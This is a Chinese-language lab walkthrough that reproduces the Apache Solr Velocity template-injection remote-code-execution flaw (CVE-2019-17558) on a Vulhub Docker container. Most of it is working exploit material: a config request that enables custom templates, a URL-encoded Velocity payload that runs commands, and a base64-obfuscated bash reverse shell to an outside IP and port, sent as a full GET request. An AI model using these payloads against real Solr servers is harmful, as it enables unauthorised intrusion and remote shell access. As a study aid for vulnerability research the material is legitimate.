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Apache Solr Velocity 注入远程命令执行漏洞 CVE-2019-17558.md

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Apache Solr Velocity 注入远程命令执行漏洞 CVE-2019-17558

漏洞描述

Apache Solr 是一个开源的搜索服务器。

在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。

具体漏洞原理和POC可以参考:

环境搭建

Vulhub执行如下命令启动一个Apache Solr 8.2.0服务器:

docker-compose up -d

服务启动后,访问http://your-ip:8983即可查看到一个无需权限的Apache Solr服务。

漏洞复现

默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:

http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

Vulhub里唯一的核心是demo

image-20220301131203531

通过如下请求开启params.resource.loader.enabled,其中API路径包含刚才获取的core名称:

POST /solr/demo/config HTTP/1.1
Host: your-ip:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

image-20220301131312106

之后,注入Velocity模板即可执行任意命令:

http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

image-20220301131516198

成功执行id命令:

image-20220301131436306

构造反弹shell的POC(前后双引号也可以,编码是%22):

'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYxCgo=}|{base64,-d}|{bash,-i}'

# URL编码后
%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYxCgo%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27

请求包如下:

GET /solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYxCgo%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: your-vps-ip:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

成功接收反弹shell:

image-20220301131830036